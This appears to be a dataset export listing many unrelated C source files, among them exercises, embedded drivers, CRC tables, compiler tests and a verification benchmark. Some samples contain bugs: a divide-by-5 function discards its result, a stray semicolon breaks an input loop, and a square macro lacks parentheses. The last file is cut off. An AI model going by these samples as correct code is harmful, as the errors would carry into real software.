file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
---|---|
the_stack_data/162643123.c |
/* mystrlen.c */
/* Find the length of a string without using strlen(). */
/* This code is released to the public domain. */
/* "Share and enjoy...." ;) */
#include <stdio.h>
#include <string.h>
#include <ctype.h>
int mystrlen(char *str)
{
int len=0;
/* Pointer to character before *str. */
/* Used to find first character of string. */
char *next;
next = str + 1;
while ( *str != '\0' )
{
if ( *str != ' ' )
{
str++;
len++;
if ( ( *next == ' ' ) || ( *next == '\0' ) ) {break;}
}
else if ( *str == ' ' )
{
str++;
next++;
}
}
return len;
}
int main()
{
char *test = " select " ;
char *test2 = " * " ;
printf("%d \n", mystrlen(test) ) ;
printf("%d \n", mystrlen(test2) ) ;
return 0;
}
|
the_stack_data/102665.c | #include <stdio.h>
#define SWAP(a,b) ({ a ^= b; b ^= a; a ^= b;})
#define SQUARE(x) (x*x)
#define TRACE_LOG(fmt, args...) fprintf(stdout, fmt, ##args);
int fib(int n)
{
if (n == 0 || n == 1)
{
return n;
}
return fib(n - 1) + fib(n - 2);
}
int main(void)
{
int a = SQUARE(2);
scanf("%d", &a);
int fib_number = fib(a);
printf("square number is %d", SQUARE(2));
printf("fib number is %d", fib_number);
return 0;
}
|
the_stack_data/37638443.c | void ft_print_comb(void);
int main(void)
{
ft_print_comb();
return (0);
} |
the_stack_data/125123.c | /* PR middle-end/32758 */
/* HP-UX libunwind.so doesn't provide _UA_END_OF_STACK */
/* { dg-do run } */
/* { dg-options "-O2 -fexceptions" } */
/* { dg-skip-if "" { "ia64-*-hpux11.*" } { "*" } { "" } } */
/* { dg-skip-if "" { ! nonlocal_goto } { "*" } { "" } } */
/* Verify unwind info in presence of alloca. */
#include <unwind.h>
#include <stdlib.h>
#include <string.h>
static _Unwind_Reason_Code
force_unwind_stop (int version, _Unwind_Action actions,
_Unwind_Exception_Class exc_class,
struct _Unwind_Exception *exc_obj,
struct _Unwind_Context *context,
void *stop_parameter)
{
if (actions & _UA_END_OF_STACK)
abort ();
return _URC_NO_REASON;
}
static void force_unwind (void)
{
struct _Unwind_Exception *exc = malloc (sizeof (*exc));
memset (&exc->exception_class, 0, sizeof (exc->exception_class));
exc->exception_cleanup = 0;
#ifndef __USING_SJLJ_EXCEPTIONS__
_Unwind_ForcedUnwind (exc, force_unwind_stop, 0);
#else
_Unwind_SjLj_ForcedUnwind (exc, force_unwind_stop, 0);
#endif
abort ();
}
__attribute__((noinline))
void foo (void *x __attribute__((unused)))
{
force_unwind ();
}
__attribute__((noinline))
int bar (unsigned int x)
{
void *y = __builtin_alloca (x);
foo (y);
return 1;
}
static void handler (void *p __attribute__((unused)))
{
exit (0);
}
__attribute__((noinline))
static void doit ()
{
char dummy __attribute__((cleanup (handler)));
bar (1024);
}
int main ()
{
doit ();
abort ();
}
|
the_stack_data/51700597.c | //*****************************************************************************
//
// uart_handler.c
//
// Copyright (c) 2006-2016 Texas Instruments Incorporated. All rights reserved.
// Software License Agreement
//
// Texas Instruments (TI) is supplying this software for use solely and
// exclusively on TI's microcontroller products. The software is owned by
// TI and/or its suppliers, and is protected under applicable copyright
// laws. You may not combine this software with "viral" open-source
// software in order to form a larger program.
//
// THIS SOFTWARE IS PROVIDED "AS IS" AND WITH ALL FAULTS.
// NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT
// NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY
// CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL
// DAMAGES, FOR ANY REASON WHATSOEVER.
//
// This is part of revision 2.1.3.156 of the Tiva Firmware Development Package.
//
//*****************************************************************************
#include <stdint.h>
#ifdef __WIN32
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
#include <windows.h>
#else
#include <fcntl.h>
#include <termios.h>
#include <unistd.h>
#endif
//*****************************************************************************
//
//! \addtogroup uart_handler UART Handler API
//! This section describes the functions that are responsible for handling the
//! transfer of data over the UART port. These functions use Microsoft Windows
//! APIs to communicate with the UART.
//! @{
//
//*****************************************************************************
//*****************************************************************************
//
//! This variable holds the open handle to the UART in use by this
//! application.
//
//*****************************************************************************
#ifdef __WIN32
static HANDLE g_hComPort;
#else
static int32_t g_i32ComPort = -1;
#endif
//*****************************************************************************
//
//! OpenUART() opens the UART port.
//!
//! \param pcComPort is the text representation of the COM port to be
//! opened. "COM1" is the valid string to use to open COM port 1 on the
//! host.
//! \param ui32BaudRate is the baud rate to configure the UART to use.
//!
//! This function is used to open the host UART with the given baud rate. The
//! rest of the settings are fixed at No Parity, 8 data bits and 1 stop bit.
//!
//! \return The function returns zero to indicated success while any non-zero
//! value indicates a failure.
//
//*****************************************************************************
int32_t
OpenUART(char *pcComPort, uint32_t ui32BaudRate)
{
#ifdef __WIN32
DCB sDCB;
COMMTIMEOUTS sCommTimeouts;
g_hComPort = CreateFile(pcComPort, GENERIC_READ | GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);
if(g_hComPort == INVALID_HANDLE_VALUE)
{
return(-1);
}
if(GetCommState(g_hComPort, &sDCB) == 0)
{
return(-1);
}
sDCB.BaudRate = ui32BaudRate;
sDCB.ByteSize = 8;
sDCB.Parity = NOPARITY;
sDCB.StopBits = ONESTOPBIT;
sDCB.fAbortOnError = TRUE;
sDCB.fOutxCtsFlow = FALSE;
sDCB.fOutxDsrFlow = FALSE;
sDCB.fDtrControl = DTR_CONTROL_ENABLE;
if(SetCommState(g_hComPort, &sDCB) == 0)
{
return(-1);
}
if(GetCommTimeouts(g_hComPort, &sCommTimeouts) == 0)
{
return(-1);
}
sCommTimeouts.ReadIntervalTimeout = 8000;
sCommTimeouts.ReadTotalTimeoutConstant = 8000;
sCommTimeouts.ReadTotalTimeoutMultiplier = 8000;
sCommTimeouts.WriteTotalTimeoutConstant = 8000;
sCommTimeouts.WriteTotalTimeoutMultiplier = 8000;
if(SetCommTimeouts(g_hComPort, &sCommTimeouts) == 0)
{
return(-1);
}
return(0);
#else
struct termios sOptions;
g_i32ComPort = open(pcComPort, O_RDWR | O_NOCTTY | O_NDELAY);
if(g_i32ComPort == -1)
{
return(-1);
}
fcntl(g_i32ComPort, F_SETFL, 0);
tcgetattr(g_i32ComPort, &sOptions);
if(ui32BaudRate == 9600)
{
cfsetispeed(&sOptions, B9600);
cfsetospeed(&sOptions, B9600);
}
else if(ui32BaudRate == 19200)
{
cfsetispeed(&sOptions, B19200);
cfsetospeed(&sOptions, B19200);
}
else if(ui32BaudRate == 38400)
{
cfsetispeed(&sOptions, B38400);
cfsetospeed(&sOptions, B38400);
}
else if(ui32BaudRate == 57600)
{
cfsetispeed(&sOptions, B57600);
cfsetospeed(&sOptions, B57600);
}
else if(ui32BaudRate == 115200)
{
cfsetispeed(&sOptions, B115200);
cfsetospeed(&sOptions, B115200);
}
else
{
cfsetispeed(&sOptions, B230400);
cfsetospeed(&sOptions, B230400);
}
sOptions.c_cflag |= (CLOCAL | CREAD);
sOptions.c_cflag &= ~(CSIZE);
sOptions.c_cflag |= CS8;
sOptions.c_cflag &= ~(PARENB);
sOptions.c_cflag &= ~(CSTOPB);
sOptions.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG);
sOptions.c_oflag &= ~(OPOST);
tcsetattr(g_i32ComPort, TCSANOW, &sOptions);
return(0);
#endif
}
//*****************************************************************************
//
//! CloseUART() closes the UART port.
//!
//! This function closes the UART port that was opened by a call to OpenUART().
//!
//! \returns This function returns zero to indicate success while any non-zero
//! value indicates a failure.
//
//*****************************************************************************
int32_t
CloseUART(void)
{
#ifdef __WIN32
return(CloseHandle(g_hComPort));
#else
if(g_i32ComPort != -1)
{
close(g_i32ComPort);
}
return(0);
#endif
}
//*****************************************************************************
//
//! UARTSendData() sends data over a UART port.
//!
//! \param pui8Data
//! The buffer to write out to the UART port.
//! \param ui8Size
//! The number of bytes provided in pui8Data buffer that should be written
//! out to the port.
//!
//! This function sends ui8Size bytes of data from the buffer pointed to by
//! pui8Data via the UART port that was opened by a call to OpenUART().
//!
//! \return This function returns zero to indicate success while any non-zero
//! value indicates a failure.
//
//*****************************************************************************
int32_t
UARTSendData(uint8_t const *pui8Data, uint8_t ui8Size)
{
#ifdef __WIN32
unsigned long ulNumBytes;
//
// Send the Ack back to the device.
//
if(WriteFile(g_hComPort, pui8Data, ui8Size, &ulNumBytes, NULL) == 0)
{
return(-1);
}
if(ulNumBytes != ui8Size)
{
return(-1);
}
return(0);
#else
if(write(g_i32ComPort, pui8Data, ui8Size) != ui8Size)
{
return(-1);
}
return(0);
#endif
}
//*****************************************************************************
//
//! UARTReceiveData() receives data over a UART port.
//!
//! \param pui8Data is the buffer to read data into from the UART port.
//! \param ui8Size is the number of bytes provided in pui8Data buffer that should
//! be written with data from the UART port.
//!
//! This function reads back ui8Size bytes of data from the UART port, that was
//! opened by a call to OpenUART(), into the buffer that is pointed to by
//! pui8Data.
//!
//! \return This function returns zero to indicate success while any non-zero
//! value indicates a failure.
//
//*****************************************************************************
int32_t
UARTReceiveData(uint8_t *pui8Data, uint8_t ui8Size)
{
#ifdef __WIN32
unsigned long ulNumBytes;
if(ReadFile(g_hComPort, pui8Data, ui8Size, &ulNumBytes, NULL) == 0)
{
return(-1);
}
if(ulNumBytes != ui8Size)
{
return(-1);
}
return(0);
#else
if(read(g_i32ComPort, pui8Data, ui8Size) != ui8Size)
{
return(-1);
}
return(0);
#endif
}
//*****************************************************************************
//
// Close the Doxygen group.
//! @}
//
//*****************************************************************************
|
the_stack_data/950840.c | /* please read copyright-notice at EOF */
#include <stdint.h>
#define CRC8INIT 0x00
#define CRC8POLY 0x18 //0X18 = X^8+X^5+X^4+X^0
uint8_t crc8( uint8_t *data, uint16_t number_of_bytes_in_data )
{
uint8_t crc;
uint16_t loop_count;
uint8_t bit_counter;
uint8_t b;
uint8_t feedback_bit;
crc = CRC8INIT;
for (loop_count = 0; loop_count != number_of_bytes_in_data; loop_count++)
{
b = data[loop_count];
bit_counter = 8;
do {
feedback_bit = (crc ^ b) & 0x01;
if ( feedback_bit == 0x01 ) {
crc = crc ^ CRC8POLY;
}
crc = (crc >> 1) & 0x7F;
if ( feedback_bit == 0x01 ) {
crc = crc | 0x80;
}
b = b >> 1;
bit_counter--;
} while (bit_counter > 0);
}
return crc;
}
/*
This code is from Colin O'Flynn - Copyright (c) 2002
only minor changes by M.Thomas 9/2004
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
|
the_stack_data/73574003.c | /*
* Exercise 2-4: Write alternate version of squeeze(s1,s2).
* It should delete each character in s1 that matches any character in string s2.
*/
#include <stdio.h>
void squeeze(char s1[], char s2[]);
int main() {
char s1[] = "catrugb";
char s2[] = "hatb";
squeeze(s1, s2);
printf("%s\n\n", s1);
return 0;
}
void squeeze(char s1[], char s2[]) {
/* k is index of current char being considered.
* i is index of next empty spot to place acceptable char.
*/
int i = 0, j = 0, k = 0;
char c, d; /* c is current char being analyzed */
while ((c = s1[k++]) != '\0') {
j = 0;
/* compare char in s1 with all chars in s2 */
while ((d = s2[j++]) != '\0' && c != d)
;
/* If we get to end of s2, then char wasn't found so add it. */
if (d == '\0')
s1[i++] = c;
}
s1[i] = '\0';
}
|
the_stack_data/50137930.c | /*-
* COPYRIGHT (C) 1986 Gary S. Brown. You may use this program, or
* code or tables extracted from it, as desired without restriction.
*/
/*
* First, the polynomial itself and its table of feedback terms. The
* polynomial is
* X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0
*
* Note that we take it "backwards" and put the highest-order term in
* the lowest-order bit. The X^32 term is "implied"; the LSB is the
* X^31 term, etc. The X^0 term (usually shown as "+1") results in
* the MSB being 1
*
* Note that the usual hardware shift register implementation, which
* is what we're using (we're merely optimizing it by doing eight-bit
* chunks at a time) shifts bits into the lowest-order term. In our
* implementation, that means shifting towards the right. Why do we
* do it this way? Because the calculated CRC must be transmitted in
* order from highest-order term to lowest-order term. UARTs transmit
* characters in order from LSB to MSB. By storing the CRC this way
* we hand it to the UART in the order low-byte to high-byte; the UART
* sends each low-bit to hight-bit; and the result is transmission bit
* by bit from highest- to lowest-order term without requiring any bit
* shuffling on our part. Reception works similarly
*
* The feedback terms table consists of 256, 32-bit entries. Notes
*
* The table can be generated at runtime if desired; code to do so
* is shown later. It might not be obvious, but the feedback
* terms simply represent the results of eight shift/xor opera
* tions for all combinations of data and CRC register values
*
* The values must be right-shifted by eight bits by the "updcrc
* logic; the shift must be unsigned (bring in zeroes). On some
* hardware you could probably optimize the shift in assembler by
* using byte-swap instructions
* polynomial $edb88320
*
*
* CRC32 code derived from work by Gary S. Brown.
*/
#include <stdint.h>
#include <stddef.h>
#include <sys/cdefs.h>
const uint32_t crc32_tab[] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
};
/*
* A function that calculates the CRC-32 based on the table above is
* given below for documentation purposes. An equivalent implementation
* of this function that's actually used in the kernel can be found
* in sys/libkern.h, where it can be inlined.
*
* uint32_t
* crc32(const void *buf, size_t size)
* {
* const uint8_t *p = buf;
* uint32_t crc;
*
* crc = ~0U;
* while (size--)
* crc = crc32_tab[(crc ^ *p++) & 0xFF] ^ (crc >> 8);
* return crc ^ ~0U;
* }
*/
/* CRC32C routines, these use a different polynomial */
/*****************************************************************/
/* */
/* CRC LOOKUP TABLE */
/* ================ */
/* The following CRC lookup table was generated automagically */
/* by the Rocksoft^tm Model CRC Algorithm Table Generation */
/* Program V1.0 using the following model parameters: */
/* */
/* Width : 4 bytes. */
/* Poly : 0x1EDC6F41L */
/* Reverse : TRUE. */
/* */
/* For more information on the Rocksoft^tm Model CRC Algorithm, */
/* see the document titled "A Painless Guide to CRC Error */
/* Detection Algorithms" by Ross Williams */
/* ([email protected].). This document is likely to be */
/* in the FTP archive "ftp.adelaide.edu.au/pub/rocksoft". */
/* */
/*****************************************************************/
static const uint32_t crc32Table[256] = {
0x00000000L, 0xF26B8303L, 0xE13B70F7L, 0x1350F3F4L,
0xC79A971FL, 0x35F1141CL, 0x26A1E7E8L, 0xD4CA64EBL,
0x8AD958CFL, 0x78B2DBCCL, 0x6BE22838L, 0x9989AB3BL,
0x4D43CFD0L, 0xBF284CD3L, 0xAC78BF27L, 0x5E133C24L,
0x105EC76FL, 0xE235446CL, 0xF165B798L, 0x030E349BL,
0xD7C45070L, 0x25AFD373L, 0x36FF2087L, 0xC494A384L,
0x9A879FA0L, 0x68EC1CA3L, 0x7BBCEF57L, 0x89D76C54L,
0x5D1D08BFL, 0xAF768BBCL, 0xBC267848L, 0x4E4DFB4BL,
0x20BD8EDEL, 0xD2D60DDDL, 0xC186FE29L, 0x33ED7D2AL,
0xE72719C1L, 0x154C9AC2L, 0x061C6936L, 0xF477EA35L,
0xAA64D611L, 0x580F5512L, 0x4B5FA6E6L, 0xB93425E5L,
0x6DFE410EL, 0x9F95C20DL, 0x8CC531F9L, 0x7EAEB2FAL,
0x30E349B1L, 0xC288CAB2L, 0xD1D83946L, 0x23B3BA45L,
0xF779DEAEL, 0x05125DADL, 0x1642AE59L, 0xE4292D5AL,
0xBA3A117EL, 0x4851927DL, 0x5B016189L, 0xA96AE28AL,
0x7DA08661L, 0x8FCB0562L, 0x9C9BF696L, 0x6EF07595L,
0x417B1DBCL, 0xB3109EBFL, 0xA0406D4BL, 0x522BEE48L,
0x86E18AA3L, 0x748A09A0L, 0x67DAFA54L, 0x95B17957L,
0xCBA24573L, 0x39C9C670L, 0x2A993584L, 0xD8F2B687L,
0x0C38D26CL, 0xFE53516FL, 0xED03A29BL, 0x1F682198L,
0x5125DAD3L, 0xA34E59D0L, 0xB01EAA24L, 0x42752927L,
0x96BF4DCCL, 0x64D4CECFL, 0x77843D3BL, 0x85EFBE38L,
0xDBFC821CL, 0x2997011FL, 0x3AC7F2EBL, 0xC8AC71E8L,
0x1C661503L, 0xEE0D9600L, 0xFD5D65F4L, 0x0F36E6F7L,
0x61C69362L, 0x93AD1061L, 0x80FDE395L, 0x72966096L,
0xA65C047DL, 0x5437877EL, 0x4767748AL, 0xB50CF789L,
0xEB1FCBADL, 0x197448AEL, 0x0A24BB5AL, 0xF84F3859L,
0x2C855CB2L, 0xDEEEDFB1L, 0xCDBE2C45L, 0x3FD5AF46L,
0x7198540DL, 0x83F3D70EL, 0x90A324FAL, 0x62C8A7F9L,
0xB602C312L, 0x44694011L, 0x5739B3E5L, 0xA55230E6L,
0xFB410CC2L, 0x092A8FC1L, 0x1A7A7C35L, 0xE811FF36L,
0x3CDB9BDDL, 0xCEB018DEL, 0xDDE0EB2AL, 0x2F8B6829L,
0x82F63B78L, 0x709DB87BL, 0x63CD4B8FL, 0x91A6C88CL,
0x456CAC67L, 0xB7072F64L, 0xA457DC90L, 0x563C5F93L,
0x082F63B7L, 0xFA44E0B4L, 0xE9141340L, 0x1B7F9043L,
0xCFB5F4A8L, 0x3DDE77ABL, 0x2E8E845FL, 0xDCE5075CL,
0x92A8FC17L, 0x60C37F14L, 0x73938CE0L, 0x81F80FE3L,
0x55326B08L, 0xA759E80BL, 0xB4091BFFL, 0x466298FCL,
0x1871A4D8L, 0xEA1A27DBL, 0xF94AD42FL, 0x0B21572CL,
0xDFEB33C7L, 0x2D80B0C4L, 0x3ED04330L, 0xCCBBC033L,
0xA24BB5A6L, 0x502036A5L, 0x4370C551L, 0xB11B4652L,
0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL,
0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL,
0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L,
0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL,
0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L,
0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L,
0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL,
0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L,
0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL,
0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL,
0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L,
0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL,
0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L,
0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L,
0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL,
0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL,
0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L,
0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L,
0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL,
0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L,
0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL,
0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL,
0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L
};
uint32_t
mlfs_crc32c(uint32_t crc, const void *buf, size_t size)
{
const uint8_t *p = (uint8_t *)buf;
while (size--)
crc = crc32Table[(crc ^ *p++) & 0xff] ^ (crc >> 8);
return crc;
}
|
the_stack_data/62996.c | //
// Copyright (c) 2017 The Khronos Group Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#if defined( __APPLE__ )
#include <OpenCL/cl.h>
#else
#include <CL/cl.h>
#endif
#include <stdio.h>
int main( void )
{
printf("cl.h standalone test PASSED.\n");
return 0;
}
|
the_stack_data/92327141.c | /*CH-230-A
Urfan Alvani
[email protected] */
#include <stdio.h>
#include <stdlib.h>
void divby5(float arr[], int size)
{
int i;
for(i=0; i<size; i++)
{
arr[i]/5;
}
}
int main()
{
int n,i;
scanf("%d",&n);
float *a=(float*)malloc(sizeof(float)*n);
for(i=0;i<n;i++);
{
scanf("%f",&a[i]);
}
printf("\nAfter:\n");
divby5(a,n);
for(i=0; i<n; i++)
{
printf("%.3f ",a[i]);
}
printf("\n");
free(a);
return 0;
}
|
the_stack_data/232954545.c | int t(int a) {
printf("%d ", a);
return a;
}
void tt(int a, int b) {
int r = t(a) && t(b);
printf("\na && b = %d\n", r);
r = t(a) || t(b);
printf("\na || b = %d\n", r);
}
int main() {
tt(0, 0);
tt(0, 1);
tt(1, 0);
tt(1, 1);
printf("\n\n");
t(1) && t(1) || t(0) && t(0); printf("\n");
t(0) && t(0) || t(1) && t(1); printf("\n");
} |
the_stack_data/131490.c | extern int __VERIFIER_nondet_int();
extern void abort(void);
void reach_error(){}
int fibo1(int n);
int fibo2(int n);
int fibo1(int n) {
if (n < 1) {
return 0;
} else if (n == 1) {
return 1;
} else {
return fibo2(n-1) + fibo2(n-2);
}
}
int fibo2(int n) {
if (n < 1) {
return 0;
} else if (n == 1) {
return 1;
} else {
return fibo1(n-1) + fibo1(n-2);
}
}
// fibo 1-30
// 1, 1, 2, 3, 5,
// 8, 13, 21, 34, 55,
// 89, 144, 233, 377, 610,
// 987, 1597, 2584, 4181, 6765,
// 10946, 17711, 28657, 46368, 75025,
// 121393, 196418, 317811, 514229, 832040
int main(void) {
int x = 20;
int result = fibo1(x);
if (result == 6765) {
ERROR: {reach_error();abort();}
}
return 0;
}
|
the_stack_data/39121.c | /*
* Copyright (C) by Argonne National Laboratory
* See COPYRIGHT in top-level directory
*/
#include <stdio.h>
int main()
{
setvbuf(stdout, NULL, _IOLBF, 0);
printf("first line\n");
sleep(1);
printf("second line\n");
sleep(1);
printf("last line\n");
fflush(stdout);
return 0;
}
|
the_stack_data/96963.c | typedef float FLOAT;
typedef double FLOAT8;
typedef enum sound_file_format_e {
sf_unknown, sf_wave, sf_aiff, sf_mp3, sf_raw}
sound_file_format;
typedef struct {
unsigned long num_samples;
int num_channels;
int in_samplerate;
int out_samplerate;
int gtkflag;
int bWriteVbrTag;
int quality;
int silent;
int mode;
int mode_fixed;
int force_ms;
int brate;
int copyright;
int original;
int error_protection;
int padding_type;
int extension;
int disable_reservoir;
int experimentalX;
int experimentalY;
int experimentalZ;
int VBR;
int VBR_q;
int VBR_min_bitrate_kbps;
int VBR_max_bitrate_kbps;
int lowpassfreq;
int highpassfreq;
int lowpasswidth;
int highpasswidth;
sound_file_format input_format;
int swapbytes;
char *inPath;
char *outPath;
int ATHonly;
int noATH;
float cwlimit;
int allow_diff_short;
int no_short_blocks;
int emphasis;
long int frameNum;
long totalframes;
int encoder_delay;
int framesize;
int version;
int padding;
int mode_gr;
int stereo;
int VBR_min_bitrate;
int VBR_max_bitrate;
float resample_ratio;
int bitrate_index;
int samplerate_index;
int mode_ext;
float lowpass1, lowpass2;
float highpass1, highpass2;
int lowpass_band;
int highpass_band;
int filter_type;
int quantization;
int noise_shaping;
int noise_shaping_stop;
int psymodel;
int use_best_huffman;
} lame_global_flags;
typedef FLOAT8 D576[576];
typedef FLOAT8 D192_3[192][3];
typedef struct {
FLOAT8 l[21 + 1];
FLOAT8 s[12 + 1][3];
} III_psy_xmin;
#pragma hmpp astex_codelet__17 codelet &
#pragma hmpp astex_codelet__17 , args[__astex_addr__sblock].io=out &
#pragma hmpp astex_codelet__17 , args[__astex_addr__sb].io=out &
